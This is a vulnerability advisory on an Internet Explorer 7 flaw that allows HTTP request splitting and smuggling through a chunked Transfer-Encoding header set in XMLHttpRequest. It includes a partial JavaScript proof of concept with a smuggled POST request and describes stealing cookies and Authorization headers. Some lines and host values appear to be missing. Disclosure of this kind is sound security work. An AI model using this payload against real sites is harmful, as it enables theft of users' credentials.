Microsoft Internet Explorer "Transfer-Encoding: chunked" allows Request Splitting/Smuggling.

Tested Versions:

Internet Explorer 7.0.5730.11

Tested OS:

XP Professional SP2 Italian

Minded Security ReferenceID:



Discovery by

Stefano Di Paola of Minded Security

stefano.dipaola [_at_]






Internet Explorer 7 allows setting of header "Transfer Encoding: chunked" in setRequestHeader exposing the browser to Http Request Splitting/Smuggling attacks.


Let's suppose the following scenery (which is not necessarily the only one).

- A site vulnerable to reflected Xss is hosted on the same host as an attacker site.

- User has no proxy configured.

As IE7 allows setting


so, it allows using the payload in a POST request which will be considered as another request by the web server.

For example:


var x=new XMLHttpRequest();

for(var i =0; i<1;i++){"POST","/");




x.onreadystatechange=function (){

if (x.readyState == 4){




x.send("0\r\n\r\nPOST / HTTP/1.1\r\nHost:\r\nContent-Length: SOMELENGTH\r\n\r\n") }catch(r){} }


the request will become:



Accept: */*

Accept-Language: it

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: no-cache


UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;

.NET CLR 2.0.50727; .NET CLR 1.1.4322)


Content-Length: 67


POST /?Send1 HTTP/1.1


Content-Length: TheLenghtOfTheNextRequest


That way, the web server, will wait for the payload, keeping the

socket open.

Infact RFC 2616 says that :


If a message is received with both a Transfer-Encoding header

field and a Content-Length header field, the latter MUST be



So the payload will be parsed as chunked.

Then by forcing IE to perform several requests on the victim host, the browser will reuse the previous (open) socket, thus sending the request as payload to the attacker site.

When host receive the request, there are several attacks, it could perform:

1. Stealing the headers of the request to host (httponly cookies, Authorization data..)

2. Perform local cache poisoning by using Expire: header from the attacker poisoned page.

A proof of concept was developed.

Keep in mind that several other sceneries could be abused as well (see references).


Stefano di Paola is credited with the discovery of this vulnerability.

Disclosure Timeline

25/01/2008 Initial vendor notification

25/01/2008 Vendor Confirmed

21/03/2008 Public advisory


[1] "Http Request Smuggling", Chaim Linhart, Amit Klein, Ronen

Heled, Steve Orrin, 2005.

[2] "Exploiting the XmlHttpRequest object in IE - Referrer spoofing,

and a lot more...", Amit Klein, 2005.

[3] "HTTP Header Injection Vulnerabilities in the Flash Player

Plugin", 2006.

[4] "Auto Injecting Cross Domain Scripting", pp 6-7, Stefano Di Paola,

Giorgio Fedon, 2007


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